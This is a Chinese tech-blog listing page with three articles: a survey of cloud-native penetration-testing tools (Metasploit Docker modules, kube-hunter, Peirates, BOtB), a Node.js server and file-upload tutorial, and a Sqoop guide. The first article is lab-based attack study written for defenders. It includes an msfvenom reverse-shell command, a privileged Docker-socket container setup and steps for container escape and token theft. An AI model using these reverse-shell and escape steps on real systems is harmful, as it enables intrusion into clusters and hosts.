一、前言近年来,容器技术持续升温,全球范围内各行各业都在这一轻量级虚拟化方案上进行着积极而富有成效的探索,使其能够迅速落地并赋能产业,大大提高了资源利用效率和生产力。随着容器化的重要甚至核心业务越来越多,容器安全的重要性也在不断提高。作为一项依然处于发展阶段的新技术,容器的安全性在不断地提高,也在不断地受到挑战。与此同时,「云原生」同样方兴未艾。人们在实践中发现,简单地将主机、平台或应用转为虚拟化形态,并不能解决传统应用的升级缓慢、架构臃肿、无法快速迭代等问题。因此,云原生(Cloud Native)概念应运而生。云原生提倡应用的敏捷、可靠、高弹性、易扩展以及持续的更新。在云原生应用和服务平台构建过程中,容器技术凭借其弹性敏捷的特性和活跃强大的社区支持,成为了云原生等应用场景下的重要支撑技术。目前云原生生态正在迅速发展壮大,而专门针对云原生环境下的渗透测试进行介绍的资料却并不丰富。攻防永不止。在这个过程中,新的安全机制不断被设计并应用,新的攻击方法也不断被提出,对前者发起挑战。《人月神话》中提到,软件工程没有银弹。相应地,信息安全也没有。作为博弈的两端,攻击者和防御者都必须尽可能早、尽可能深地了解对方的可能手段,进而抢前动作、布局。如今,随着容器技术的火热,越来越多的攻防博弈开始转到容器化的云端环境上。在业界,我们常说“未知攻,焉知防”。基于这一思想,本文调研了当前已有的专门针对云原生环境进行渗透测试或类似安全评估的工具和开源项目,希望为渗透测试人员提供面对新环境的突破思路,帮助安全防御人员看到潜在脆弱点和更多攻击可能性,为云安全研究人员提供更多攻击侧的技术信息,实现以攻促防。值得注意的是,无论环境如何变化,不同的攻防思想和技术都并非割裂,而是互补互通的。因此,本文不再介绍那些通用渗透方法和工具在云原生环境下的应用。受关注点和精力所限,也许有好的项目或工具本文没有提及,欢迎大家留言交流。后文的组织结构如下:考察Metasploit中与云原生相关的模块考察开源项目kube-hunter考察开源项目Peirates考察开源项目BOtB总结与思考二、Metasploit中的相关模块2.1简介Metasploit[1]是一个强大、经典的攻击集成平台,是渗透测试必备工具之一。各种各样的攻击技术以模块形式固化在平台中,并在社区的推动下不断更新、扩大。然而,由于模块过多,且较为分散,有时渗透测试人员并不能及时了解其中都包含什么模块、具备哪些能力。笔者梳理了最新版(截至2020年6月3日)Metasploit开源仓库中与云原生相关的模块,供大家参考。后文每小节介绍一个模块,标题即模块名称。根据标题指示的路径,读者可以在Metasploit官方仓库中准确定位模块。我们也会在每小节开头给出该模块的Github仓库链接。模块分类如下:注意,post分类下的模块通常在后渗透阶段执行,因为这些模块的执行通常依赖于一个已有Meterpreter会话。为方便演示,我们采用如下操作来构造一个这样的Meterpreter shell:在本地测试环境中,首先生成一个反弹shell:msfvenom -p linux/x64/meterpreter/reverse_tcp lhost=172.17.0.1lport=10000 -f elf -o reverse_shell然后创建容器把反弹shell放进去,接着在Metasploit中开启监听,再在容器中运行反弹shell。至此,我们在Metasploit中获得了一个Meterpreter:这个shell是容器内部的,如果要在宿主机上建立shell,只需要在宿主机上执行反弹shell程序即可。后文不再给出shell的建立过程。2.2auxiliary/scanner/http/docker_version 地址:https://github.com/rapid7/metasploit-framework/blob/master/modules/auxilia ry/scanner/http/docker_version.rb功能:查看Docker服务器版本(设置VERBOSE参数为true能够获得更多信息)。原理:向Docker Daemon监听的2375端口发起请求。限制:目标环境的Docker Daemon必须开启端口监听且能够被远程访问。实验:在本地Docker测试环境中,开启2375端口监听,然后在另外终端窗口中利用Metasploit进行扫描:从上图可以看到,在VERBOSE模式下,该模块给出了包含内核版本在内的诸多信息,这些信息对于后续渗透测试是非常有帮助的。2.3exploit/linux/http/dockerdaemontcp地址:https://github.com/rapid7/metasploit-framework/blob/master/modules/explo its/linux/http/dockerdaemontcp.rb功能:利用监听了TCP socket的Docker守护进程实现root权限远程代码执行。原理:远程给Docker守护进程下达命令拉取镜像,创建新容器,挂载宿主机目录,写入反弹shell的定时任务。限制:目标环境的Docker Daemon必须开启端口监听且能够被远程访问。实验:我们先开启Docker守护进程的TCP socket监听(为安全起见,笔者这里开启的是本地监听),然后在Metasploit中载入模块,设置payload为反弹Meterpreter,接着设置相关参数,最后执行模块即可:2.4exploit/linux/local/dockerdaemonprivilege_escalation 地址:https://github.com/rapid7/metasploit-framework/blob/master/modules/expl oits/linux/local/dockerdaemonprivilege_escalation.rb功能:这实际上也是一个后渗透阶段的功能。当拿到目标宿主机上的一个普通用户shell时,如果该普通用户能够操作本机上的Docker,就能够借助Docker守护进程提升权限。原理:从逻辑上来看,能够操控Docker就意味着具有了root权限,我们在「容器逃逸技术概览」中介绍的「容器内挂载docker socket导致容器逃逸」的情况与本模块在原理上是类似的。本模块利用Docker创建新容器,将宿主机上文件系统挂载进去,然后将反弹shell程序添加suid标志位,最后执行反弹shell。限制:普通用户需要有与Docker守护进程交互的权限。实验:在本地环境中普通用户rambo能够操作Docker,我们以rambo身份建立Meterpreter:将当前会话放入后台,然后载入提权模块,设置参数并执行:我们获得了一个新的Meterpreter。查看当前会话列表,可以发现新会话的euid已经变成0了:需要注意的是,此时如果我们直接进入会话5输入shell命令打开shell,则得到的依然是普通用户权限shell:这是Bash的特点导致的,即如果euid与uid不一致时,强制将euid改为uid。我们只需要在Meterpreter中使用execute-if bash -a \-p,而非shell打开shell即可:2.5post/linux/gather/checkcontainer地址:https://github.com/rapid7/metasploit-framework/blob/master/modules/post /linux/gather/checkcontainer.rb功能:检测目标环境是否为容器。原理:较为简单,即检测/.dockerenv特征文件和cgroup里的特征字符串是否存在等。限制:获得一个基础shell之后才能使用(后渗透阶段)。实验:在Meterpreter中,执行该模块即可:2.6post/linux/gather/enum_protections地址:https://github.com/rapid7/metasploit-framework/blob/master/modules/post /linux/gather/enum_protections.rb功能:检测目标环境中各种漏洞缓解机制是否开启(对于容器环境来说,会影响逃逸成功率),具体检测了漏洞缓解措施是否开启,如ASLR、kernel.exec-shield、KAISER、SMEP/SMAP;还检测了LKRG、Grsecurity、PaX、SELinux、Yama等内核安全模块是否安装及开启;另外,还检测了一些常见安全应用等(详见源代码)。原理:该模块调用了Metasploit核心模块Msf::Post::Linux::Kernel,核心模块则是通过读取内核通过procfs等伪文件系统在用户态暴露出的参数来判断相关缓解机制是否开启。例如,对ASLR的判断如下: defaslr_enabled? aslr =cmd_exec('cat /proc/sys/kernel/randomize_va_space').to_s.strip (aslr.eql?('1') || aslr.eql?('2')) rescue raise 'Could not determine ASLR status' end限制:获得一个基础shell之后才能使用(后渗透阶段)。实验:在Meterpreter中,执行该模块即可:可以看到,反馈得到的信息非常丰富。这些信息能够帮助渗透测试者在后续环节中评估渗透难度、选择具体渗透技术。2.7post/multi/gather/docker_creds地址:https://github.com/rapid7/metasploit-framework/blob/master/modules/post /multi/gather/docker_creds.rb功能:尝试读取所有用户目录下的.docker/config.json文件,解析获得认证凭据(如镜像仓库的登录凭据)。原理:读取.docker/config.json文件。限制:获得一个基础shell之后才能使用(后渗透阶段)。实验:新安装的Docker环境下可能没有~/.docker/目录,可以先docker login登录一次镜像仓库,Docker就会为当前用户建立这个目录。接着,在宿主机上建立Meterpreter,然后执行模块即可:2.8其他模块除了上述模块外,Metasploit中还有一些和云原生安全相关的模块,考虑到适用范围等因素,笔者不再对它们一一讲解:auxiliary/gather/saltstacksaltroot_keyexploit/linux/misc/saltstacksaltunauth_rceexploit/windows/local/dockercredentialwincredexploit/linux/http/rancher_serverexploit/linux/http/dcos_marathon同时,Metasploit的模块库是在不断更新的,感兴趣的读者可以持续关注云原生模块的集成情况。总体来看,相关模块还是比较少的,许多专门的漏洞利用尚未被集成到Metasploit中来。三、kube-hunter3.1简介 kube-hunter[2]是由国外安全厂商Aqua开源的针对Kubernetes集群的脆弱性扫描工具,提供远程扫描、集群内扫描、Pod内扫描三种不同运行方式,分别考察远程攻击、集群内部测试、Pod沦陷三种场景下Kubernetes集群的脆弱性。kube-hunter采用Python开发,面向对象编程,目前其模块主要有发现(discovery)、狩猎(hunting)和报告(reporting)三类。代码可读性较强,推荐感兴趣的读者读一下项目源码。3.2牛刀小试本节中,笔者采用远程攻击的方式启动kube-hunter,对本地环境进行测试,来观察它的效果。首先安装部署kube-hunter:git clonehttps://github.com/aquasecurity/kube-hunter.git cd kube-hunter virtualenv --no-site-packages --python=python3 venv source soar_engine_venv/bin/activate pip install -r requirements.txt -ihttps://pypi.tuna.tsinghua.edu.cn/simple复制然后运行kube-hunter,不带任何参数直接进入交互式界面,根据提示选择远程扫描:很快就得到了检测结果,如下:2022-07-2014:28:44,424 INFO kube_hunter.modules.report.collector Started hunting 2022-07-20 14:28:44,425 INFOkube_hunter.modules.report.collector Discovering Open Kubernetes Services 2022-07-20 14:28:44,806 INFOkube_hunter.modules.report.collector Found open service "Kubelet API"at 192.168.1.1:10250 2022-07-20 14:28:45,300 INFOkube_hunter.modules.report.collector Found open service "API Server"at 192.168.1.1:6443 2022-07-20 14:28:45,483 INFOkube_hunter.modules.report.collector Found vulnerability "Unauthenticatedaccess to API" in 192.168.1.1:6443 2022-07-20 14:28:45,498 INFOkube_hunter.modules.report.collector Found vulnerability "K8s 检测报告后面还有一个表格列出了漏洞详情:远程扫描完全依赖于端口的可达性,因此上述结果也提醒运维人员,减小攻击面非常重要,不要把非必要端口暴露在不可控的环境中。从图中还可以读出两点信息:1. kube-hunter采用了KHV + 数字来对漏洞进行编号。结合整个项目的活跃度来看,Aqua似乎有意将kube-hunter发展成为一个专注于云原生环境的开源漏洞扫描工具;2.上表中的漏洞信息基本上是通过Kubernetes版本匹配得到的,并非PoC检测。四、Peirates4.1简介 Peirates[3]是由国外安全厂商InGuardians开源的针对Kubernetes集群的渗透测试工具,专注于权限提升和横向移动。它采用Go语言编写而成,预设场景是后渗透,即攻击者已经控制了集群中一个Pod,然后在这个Pod中运行Peirates。因此,开发者特地准备了二进制程序方便从容器内直接下载:https://github.com/inguardians/peirates/r eleases。4.2牛刀小试 Peirates官网[4]给出了两个Demo视频,从视频中可以看出,在权限合适的时候,Peirates还是十分方便的。然而,Peirates实质上是对集群中权限配置不当问题的自动化利用工具,不包含漏洞利用功能,因此在正常的集群中,很难直接利用它去发起攻击。在Pod中运行二进制版Peirates,可以发现功能十分丰富:然而在权限限制较理想的环境下,Peirates能做的事情非常受限:但是别急,作者开放了一个Kubernetes靶机环境,名为Bust-a-kube[5],该靶机环境是一套由一个Master和两个Slave——共三个虚拟机——组成的Kubernetes集群,作者在该集群中设置了一系列脆弱点,Peirates在这个环境下能够很好地发挥其自动化优势。读者可以自行到Bust-a-kube官网[5]下载靶机。按照说明运行起来后,从渗透测试的角度来看,首先要借助一个Web服务的命令执行漏洞获得交互式shell,然后进行容器环境探测(如执行mount命令查看文件系统挂载情况),发现自己处于一个Kubernetes环境中,继而进行后渗透操作。本文关注的是云原生安全,因此笔者这里直接从后渗透谈起,不再展开讲解拿到驻点的过程。值得注意的是,就像这个靶机环境一样,真实Kubernetes场景下的业务往往是一个LoadBalancer或类似的负载均衡装置后面对应多个Pod,因此在Web渗透时可能需要每个步骤都执行多次,直到在一个Pod内把各个步骤都执行了一遍,才能顺利拿到shell。执行次数少的话,不同步骤的渗透流量可能被分流到不同的Pod中。言归正传。如下图所示,我们已经通过Web渗透取得了驻点,并且知晓当前环境是一个Pod,接着就借助Webshell上传一个Peirates到目标环境,执行后如下图所示,Peirates自动读取了/run/secrets/kubernetes.io/serviceaccount/下的token,并从环境变量中找到了Kubernetes API Server的地址和端口:接下来就是Peirates展示其自动化能力的时候了。输入3,列出当前命名空间的Pods:我们发现当前命名空间下有三个frontend实例,三个Redis实例,一个Apache实例。注意,此时我们并不知道当前Pod有哪些权限,就试一试吧。在诸多尝试之后,发现:frontend实例的serviceaccount赋予Pod在当前命名空间下的其他Pod内执行命令的权限apache实例的serviceaccount赋予Pod在当前命名空间下创建Pod的权限Peirates工具内置的宿主机反弹shell功能(序号20)需要在redis Pod内执行才能顺利执行(事实上在其他Pod内也能顺利执行,但是Peirates会出错退出,影响后续操作)因此,我们这么来做:在我们前面获得的frontend实例shell中启动Peirates,抓取到Apache的token并保存:接着,横向移动到Redis Pod中(Peirates的自动化优势慢慢体现出来了,手动完成这些步骤还是比较麻烦的):至此,我们的Peirates已经是在Redis Pod中运行了,在这里添加一下前面获得的Apache的token:然后在攻击者机器上开启反弹shell监听,再利用这个token去通过创建Pod挂载宿主机目录来实现逃逸:反弹shell利用的是cron定时任务。稍等一会儿,攻击者机器就能够收到一个反弹shell了:如下图所示,上图ifconfig查询得到的 10.23.58.41正是k8s-node1节点的IP:至此,攻击者已经拿下了集群的一台主机。事实上,对上述步骤稍加改变,在创建用于逃逸的Pod时不去创建Pod而去创建DaemonSet,就能够一下子获得整个集群的控制权了(大致思路)。在上面的过程中,我们没有过多提及每个步骤背后原理。事实上,在严格的RBAC访问控制下,上述每一步的实质都是在利用合适的权限做常见的操作,最后辅以恶意的Payload,达到恶意的目的。回过头来看,一方面,在安全问题、风险配置较多的环境中,Peirates是能够极大提升渗透测试效率的;另一方面,可以考虑将该工具与其他工具结合使用,先通过其他方式获得高权限凭证,然后传递给Peirates进行自动化提权或横向渗透,从而在短时间内扩大战果。当然了,所有Peirates做到的这些,我们都可以通过上传一个kubectl手动进行操作,实现相同效果。最后,在权限限制较理想的环境下,Peirates能做的事情非常受限。这个案例也告诉集群管理者,权限最小化和减小暴露面是多么重要。五、BOtB5.1简介BOtB[6]是由ChrisLe Roy开源的容器安全分析和脆弱点利用工具。它能够辅助环境探测,还能够利用CVE-2019-5736、DockerSocket或特权模式进行容器逃逸。作者在BSides London 2019大会上分享了关于BOtB的议题[7],感兴趣的朋友可以了解一下5.2牛刀小试 BOtB的功能都比较直观,仓库首页给出了用法列表[8]。它的大部分功能也都是在后渗透阶段使用的。我们在本地环境新建一个容器模拟测试一下:docker run -itd-v /var/run/docker.sock:/run/docker.sock --privileged --name test2 ubuntu/bin/bash docker exec -it test2 /bin/bash apt update && apt install -y curl curl -fSL "https://github.com/brompwnie/botb/releases/download/1.7.0/botb-linux-amd64"-o "botb-linux-amd64" \ && chmod +x botb-linux-amd64复制例如,利用特权模式进行容器逃逸,在宿主机上执行命令并得到结果:这里利用的逃逸技术我们在之前的文章「针对容器的渗透测试方法」中也有提到。再如,利用挂载到容器内的Docker Socket进行容器逃逸获得宿主机shell:这个逃逸技术我们在之前的文章「容器逃逸技术概览」中也有提到。BOtB还有很多其他便捷功能,这里不再展开。六、总结与思考工欲善其事,必先利其器。随着云原生技术被越来越多的企业或组织接受、应用,相应的安全建设必然要紧随其后,甚至未雨绸缪。作为安全防护体系的一部分,针对云原生环境的渗透测试将变得越来越常见,也将越来越重要,即使当下的渗透测试可能依然更多地聚集在传统环境或传统云计算环境。渗透测试人员在面对新环境时需要新的突破思路,安全防御人员需要看得到新环境的潜在脆弱点和更多攻击可能性,云安全研究人员需要及时了解更多攻击侧的技术信息。本文对Metasploit的相关模块、kube-hunter、Peirates和BOtB在云原生环境下的应用进行了介绍。笔者希望,本文的梳理和实践能够帮助我们更好地理解云原生安全,更好地保障云原生安全,从而更好地在业务中应用云原生技术。
文章
Kubernetes  ·  安全  ·  Cloud Native  ·  NoSQL  ·  Shell  ·  Linux  ·  网络安全  ·  Docker  ·  容器  ·  Perl
2022-07-21
【Node 基础】Web服务器开发和文件上传
原文来自 我的个人博客1. 创建服务器什么是 Web 服务器?当应用程序(客户端)需要某个资源时,可以向一台服务器,通过 HTTP 请求获取到这个资源提供资源的这个服务器,就是一个 Web 服务器目前有很多开源的 Web 服务器:Nginx、Apache(静态)、Apache Tomcat(静态、动态)、Node.js在 Node 中,提供 web 服务器的资源返回给浏览器,主要是通过 http 模块。我们先简单对它做一个使用:const http = require("http"); const HTTP_PORT = 9000; const server = http.createServer((req, res) => { res.end("Hello World"); }); server.listen(HTTP_PORT, () => { console.log(`服务器在${HTTP_PORT}启动`); });此时我们在浏览器中输入 localhost:9000,就会出现 Hello World:解释上面这段代码:通过 http 模块的 createServer 方法创建了一个服务器对象,它的底层其实是直接使用 new Server 创建对象的。那么当然,我们也可以自己来创建这个对象:const server = new http.Server((req, res) => { res.end("Hello World"); }); server.listen(HTTP_PORT, () => { console.log(`服务器在${HTTP_PORT}启动`); });创建 Server 时会传入一个回调函数,这个回调函数在被调用时会传入两个参数:req:request 请求对象,包含请求相关的信息;res:response 响应对象,包含我们要发送给客户端的信息;Server 通过 listen 方法来开启服务器,并且在某一个主机的端口上监听网络请求也就是当我们通过 ip:port 的方式发送到我们监听的 Web 服务器上时,我们就可以对其进行相关的处理;listen 函数有三个参数:端口 port:可以不传,系统会默认分配端主机 host:通常可以传入 localhost、ip地址127.0.0.1、或者 ip地址0.0.0.0,默认是 0.0.0.0;localhost:本质上是一个域名,通常情况下会被解析成 127.0.0.1;127.0.0.1:回环地址(Loop Back Address),表达的意思其实是我们主机自己发出去的包,直接被自己接收;正常的数据包会经过 应用层 - 传输层 - 网络层 - 数据链路层 - 物理层 ;而回环地址,是在网络层直接就被获取到了,是不会经常数据链路层和物理层的;比如我们监听 127.0.0.1 时,在同一个网段下的主机中,通过 ip地址 是不能访问的;0.0.0.0:监听 IPV4 上所有的地址,再根据端口找到不同的应用程序;比如我们监听 0.0.0.0 时,在同一个网段下的主机中,通过 ip 地址是可以访问的;回调函数:服务器启动成功时的回调函数;2. Request 请求2.1 Request 对象在向服务器发送请求时,我们会携带很多信息,比如:本次请求的 URL,服务器需要根据不同的 URL 进行不同的处理;本次请求的请求方式,比如 GET、POST 请求传入的参数和处理的方式是不同的;本次请求的 headers 中也会携带一些信息,比如客户端信息、接收数据的格式、支持的编码格式等;等等...这些信息,Node 会帮助我们封装到一个 request 的对象中,我们可以直接来处理这个 request 对象:const server = new http.Server((req, res) => { // request 对象 console.log(req) console.log(req.method) console.log(req.headers) res.end("Hello World"); });2.2 URL 的处理客户端在发送请求时,会请求不同的数据,那么会传入不同的请求地址:比如 http://localhost:9000/login;比如 http://localhost:9000/products;服务器端需要根据不同的请求地址,作出不同的响应:const server = new http.Server((req, res) => { const url = req.url; if (url === "/login") { res.end("welcome Back~"); } else if (url === "/products") { res.end("products"); } else { res.end("error message"); } });2.3 URL 的解析如果用户发送的地址中还携带一些额外的参数,例如以下情况http://localhost:9000/login?name=why&password=123;这个时候,url 的值是 /login?name=why&password=123;这个时候我们可以使用内置模块 url 处理 const parseInfo = url.parse(req.url); console.log(parseInfo)此时的 parseInfo 为:接下来我们就可以直接用 qs 或者 URLSearchParams 处理 query 拿到参数了const queryObj = new URLSearchParams(parseInfo.query); console.log(queryObj.get("name")); console.log(queryObj.get("password"));2.4 请求头在 request 对象的 header 中也包含很多有用的信息,客户端会默认传递过来一些信息:content-type 是这次请求携带的数据的类型:application/x-www-form-urlencoded:表示数据被编码成以 '&' 分隔的键 - 值对,同时以 '=' 分隔键和值application/json:表示是一个 json 类型;text/plain:表示是文本类型application/xml:表示是 xml 类型;multipart/form-data:表示是上传文件;content-length:文件的大小长度keep-alive:http 是基于 TCP 协议的,但是通常在进行一次请求和响应结束后会立刻中断;在 http1.0 中,如果想要继续保持连接:浏览器需要在请求头中添加 connection: keep-alive;服务器需要在响应头中添加 connection: keep-alive;当客户端再次放请求时,就会使用同一个连接,直接一方中断连接;在 http1.1 中,所有连接默认是 connection: keep-alive 的;不同的 Web 服务器会有不同的保持 keep-alive 的时间;Node 中默认是 5s 中;accept-encoding:告知服务器,客户端支持的文件压缩格式,比如 js 文件可以使用 gzip 编码,对应 .gz 文件;accept:告知服务器,客户端可接受文件的格式类型;user-agent:客户端相关的信息;3. Response 响应3.1 返回响应结果如果我们希望给客户端响应的结果数据,可以通过两种方式:write方法:这种方式是直接写出数据,但是并没有关闭流;end方法:这种方式是写出最后的数据,并且写出后会关闭流;// 响应数据的两个方式 res.write('Hello World) res.write("Hello Response") res.edn("message end")如果我们没有调用 end 和 close,客户端将会一直等待结果:所以客户端在发送网络请求时,都会设置超时时间。3.2 返回状态码Http状态码(Http Status Code)是用来表示 Http 响应状态的数字代码:Http状态码 非常多,可以根据不同的情况,给客户端返回不同的状态码;MDN 响应码解析地址:https://developer.mozilla.org/zh-CN/docs/web/http/status常见HTTP状态码状态描述信息说明200OK客户端请求成功201CreatedPOST请求,创建新的资源301Moved Permanently请求资源的URL已经修改,响应中会给出新的URL400Bad Request客户端的错误,服务器无法或者不进行处理401Unauthorized未授权的错误,必须携带请求的身份信息403Forbidden客户端没有权限访问,被拒接404Not Found服务器找不到请求的资源500Internal Server Error服务器遇到了不知道如何处理的情况。503Service Unavailable服务器不可用,可能处于维护或者重载状态,暂时无法访问// 1. res.statusCode = 400 // 2. res.writeHead(200)3.3 响应头文件返回头部信息,主要有两种方式:res.setHeader:一次写入一个头部信息;res.writeHead:同时写入 header 和 status;res.setHeader('Context-Type', 'application/json;charset=utf8') res.writeHead(200, { "Content-Type": "application/json;charset=utf8" })Header 设置 Content-Type 有什么作用呢?默认客户端接收到的是字符串,客户端会按照自己默认的方式进行处理;4. 文件上传其实对于后端,手动处理上传的文件是很复杂的,正常情况下我们都会借助于一些插件做处理,下面仅做对于图片上传的一个简单的演示。const http = require("http"); const qs = require("querystring"); const fs = require("fs"); const HTTP_PORT = 9000; // 1. 创建 sever 服务器 const server = new http.Server((req, res) => { // 文件设置为二进制 req.setEncoding("binary"); // 获取 content-type 中的 boundary的值 let boundary = req.headers["content-type"] .split("; ")[1] .replace("boundary=", ""); const fileSize = req.headers["content-length"]; let curSize = 0; let body = ""; req.on("data", (data) => { curSize += data.length; res.write(`文件上传进度:${(curSize / fileSize) * 100}%\n`); body += data; }); req.on("end", () => { // 切割数据 const payload = qs.parse(body, "\r\n", ":"); // 获取最后的类型(image/png) const fileType = payload["Content-Type"].substring(1); // 获取要截取的长度 const fileTypePosition = body.indexOf(fileType) + fileType.length; let binaryData = body.substring(fileTypePosition); binaryData = binaryData.replace(/^\s\s*/, ""); const finalData = binaryData.substring( 0, binaryData.indexOf("--" + boundary + "--") ); fs.writeFile("./foo.png", finalData, "binary", (err) => { console.log(err); res.end("文件上传完成~"); }); }); }); // 2. 开启 server 服务器 server.listen(HTTP_PORT, () => { console.log(`服务器在${HTTP_PORT}启动`); }); 使用 postman 测试,并查看图片能显示。
文章
XML  ·  JSON  ·  JavaScript  ·  网络协议  ·  应用服务中间件  ·  Apache  ·  nginx  ·  数据格式
2023-02-26
Sqoop入门(一篇就够了)
01 引言在前面的《DataX教程》,我们知道了DataX是阿里研发的一个数据迁移工具,同理,本文主要讲解的是Hadoop生态系统下的一个迁移工具,也就是Sqoop。02 Sqoop概述2.1 Sqoop定义Sqoop:是apache旗下一款“Hadoop和关系数据库服务器之间传送数据”的工具。2.2 Sqoop功能Sqoop的主要功能如下:导入数据:MySQL,Oracle导入数据到Hadoop的HDFS、HIVE、HBASE等数据存储系统;导出数据:从Hadoop的文件系统中导出数据到关系数据库;2.3 Sqoop工作机制工作机制:将导入或导出命令翻译成mapreduce程序来实现在翻译出的mapreduce中主要是对inputformat和outputformat进行定制。03 Sqoop安装安装sqoop的前提是已经具备java和hadoop的环境 !3.1 Sqoop下载step1:下载并解压下载地址:http://ftp.wayne.edu/apache/sqoop/1.4.6/3.2 Sqoop配置step2:修改配置文件$ cd $SQOOP_HOME/conf $ mv sqoop-env-template.sh sqoop-env.sh 打开sqoop-env.sh并编辑下面几行:export HADOOP_COMMON_HOME=/home/hadoop/apps/hadoop-2.6.1/ export HADOOP_MAPRED_HOME=/home/hadoop/apps/hadoop-2.6.1/ export HIVE_HOME=/home/hadoop/apps/hive-1.2.1 step3:加入mysql的jdbc驱动包cp ~/app/hive/lib/mysql-connector-java-5.1.28.jar $SQOOP_HOME/lib/ 3.3 Sqoop验证启动step4:验证启动$ cd $SQOOP_HOME/bin $ sqoop-version 预期的输出:15/12/17 14:52:32 INFO sqoop.Sqoop: Running Sqoop version: 1.4.6 Sqoop 1.4.6 git commit id 5b34accaca7de251fc91161733f906af2eddbe83 Compiled by abe on Fri Aug 1 11:19:26 PDT 2015 到这里,整个Sqoop安装工作完成。04 Sqoop导入导出4.1 Sqoop导入4.1.1 导入语法Sqoop导入:导入单个表从RDBMS到HDFS,表中的每一行被视为HDFS的记录,所有记录都存储为文本文件的文本数据(或者Avro、sequence文件等二进制数据) 。下面的语法用于将数据导入HDFS:$ sqoop import (generic-args) (import-args) 4.1.2 导入案例在mysql中有一个库userdb中三个表:4.1.2.1 导入表数据到HDFS下面的命令用于从MySQL数据库服务器中的emp表导入HDFS:$bin/sqoop import \ --connect jdbc:mysql://hdp-node-01:3306/test \ --username root \ --password root \ --table emp --m 1 如果成功执行,那么会得到下面的输出:14/12/22 15:24:54 INFO sqoop.Sqoop: Running Sqoop version: 1.4.5 14/12/22 15:24:56 INFO manager.MySQLManager: Preparing to use a MySQL streaming resultset. INFO orm.CompilationManager: Writing jar file: /tmp/sqoop-hadoop/compile/cebe706d23ebb1fd99c1f063ad51ebd7/emp.jar ----------------------------------------------------- O mapreduce.Job: map 0% reduce 0% 14/12/22 15:28:08 INFO mapreduce.Job: map 100% reduce 0% 14/12/22 15:28:16 INFO mapreduce.Job: Job job_1419242001831_0001 completed successfully ----------------------------------------------------- ----------------------------------------------------- 14/12/22 15:28:17 INFO mapreduce.ImportJobBase: Transferred 145 bytes in 177.5849 seconds (0.8165 bytes/sec) 14/12/22 15:28:17 INFO mapreduce.ImportJobBase: Retrieved 5 records. 为了验证在HDFS导入的数据,请使用以下命令查看导入的数据:$ $HADOOP_HOME/bin/hadoop fs -cat /user/hadoop/emp/part-m-00000 emp表的数据和字段之间用逗号(,)表示:1201, gopal, manager, 50000, TP 1202, manisha, preader, 50000, TP 1203, kalil, php dev, 30000, AC 1204, prasanth, php dev, 30000, AC 1205, kranthi, admin, 20000, TP 4.1.2.2 导入关系表到HIVEbin/sqoop import \ --connect jdbc:mysql://hdp-node-01:3306/test \ --username root \ --password root \ --table emp \ --hive-import --m 1 4.1.2.3 导入到HDFS指定目录指定目标目录选项的Sqoop导入命令的语法:--target-dir <new or exist directory in HDFS> 下面的命令是用来导入emp_add表数据到’/queryresult'目录bin/sqoop import \ --connect jdbc:mysql://hdp-node-01:3306/test \ --username root \ --password root \ --target-dir /queryresult \ --table emp --m 1 下面的命令是用来验证 /queryresult目录中 emp_add表导入的数据形式 :$HADOOP_HOME/bin/hadoop fs -cat /queryresult/part-m-* 它会用逗号(,)分隔emp_add表的数据和字段:1201, 288A, vgiri, jublee 1202, 108I, aoc, sec-bad 1203, 144Z, pgutta, hyd 1204, 78B, oldcity, sec-bad 1205, 720C, hitech, sec-bad 4.1.2.4 导入表数据子集我们可以导入表的使用Sqoop导入工具,"where"子句的一个子集。它执行在各自的数据库服务器相应的SQL查询,并将结果存储在HDFS的目标目录。where子句的语法如下:--where <condition> 下面的命令用来导入emp_add表数据的子集。子集查询检索员工ID和地址,居住城市为:Secunderabadbin/sqoop import \ --connect jdbc:mysql://hdp-node-01:3306/test \ --username root \ --password root \ --where "city ='sec-bad'" \ --target-dir /wherequery \ --table emp_add --m 1 下面的命令用来验证数据从emp_add表导入/wherequery目录:$HADOOP_HOME/bin/hadoop fs -cat /wherequery/part-m-* 它用逗号(,)分隔 emp_add表数据和字段:1202, 108I, aoc, sec-bad 1204, 78B, oldcity, sec-bad 1205, 720C, hitech, sec-bad 4.1.2.5 增量导入增量导入是仅导入新添加的表中的行的技术。它需要添加‘incremental’, ‘check-column’, 和 ‘last-value’选项来执行增量导入。下面的语法用于Sqoop导入命令增量选项:--incremental <mode> --check-column <column name> --last value <last check column value> 假设新添加的数据转换成emp表如下:1206, satish p, grp des, 20000, GR 下面的命令用于在EMP表执行增量导入:bin/sqoop import \ --connect jdbc:mysql://hdp-node-01:3306/test \ --username root \ --password root \ --table emp --m 1 \ --incremental append \ --check-column id \ --last-value 1205 以下命令用于从emp表导入HDFS emp/ 目录的数据验证:$ $HADOOP_HOME/bin/hadoop fs -cat /user/hadoop/emp/part-m-* 它用逗号(,)分隔emp_add表数据和字段:1201, gopal, manager, 50000, TP 1202, manisha, preader, 50000, TP 1203, kalil, php dev, 30000, AC 1204, prasanth, php dev, 30000, AC 1205, kranthi, admin, 20000, TP 1206, satish p, grp des, 20000, GR 下面的命令是从表emp 用来查看修改或新添加的行:$ $HADOOP_HOME/bin/hadoop fs -cat /emp/part-m-*1 这表示新添加的行用逗号(,)分隔emp表的字段。 1206, satish p, grp des, 20000, GR 4.2 Sqoop导出4.2.1 导出语法Sqoop导出:将数据从HDFS导出到RDBMS数据库注意:默认操作是从将文件中的数据使用INSERT语句插入到表中更新模式下,是生成UPDATE语句更新表数据以下是export命令语法:$ sqoop export (generic-args) (export-args) 4.2.2 导出案例数据是在HDFS 中“EMP/”目录的emp_data文件中,所述emp_data如下:1201, gopal, manager, 50000, TP 1202, manisha, preader, 50000, TP 1203, kalil, php dev, 30000, AC 1204, prasanth, php dev, 30000, AC 1205, kranthi, admin, 20000, TP 1206, satish p, grp des, 20000, GR step1:首先需要手动创建mysql中的目标表$ mysql mysql> USE db; mysql> CREATE TABLE employee ( id INT NOT NULL PRIMARY KEY, name VARCHAR(20), deg VARCHAR(20), salary INT, dept VARCHAR(10)); step2:然后执行导出命令bin/sqoop export \ --connect jdbc:mysql://hdp-node-01:3306/test \ --username root \ --password root \ --table emp2 \ --export-dir /user/hadoop/emp/ step3:验证表mysql命令行mysql>select * from employee; 如果给定的数据存储成功,那么可以找到数据在如下的employee表。 +------+--------------+-------------+-------------------+--------+ | Id | Name | Designation | Salary | Dept | +------+--------------+-------------+-------------------+--------+ | 1201 | gopal | manager | 50000 | TP | | 1202 | manisha | preader | 50000 | TP | | 1203 | kalil | php dev | 30000 | AC | | 1204 | prasanth | php dev | 30000 | AC | | 1205 | kranthi | admin | 20000 | TP | | 1206 | satish p | grp des | 20000 | GR | +------+--------------+-------------+-------------------+--------+ 05 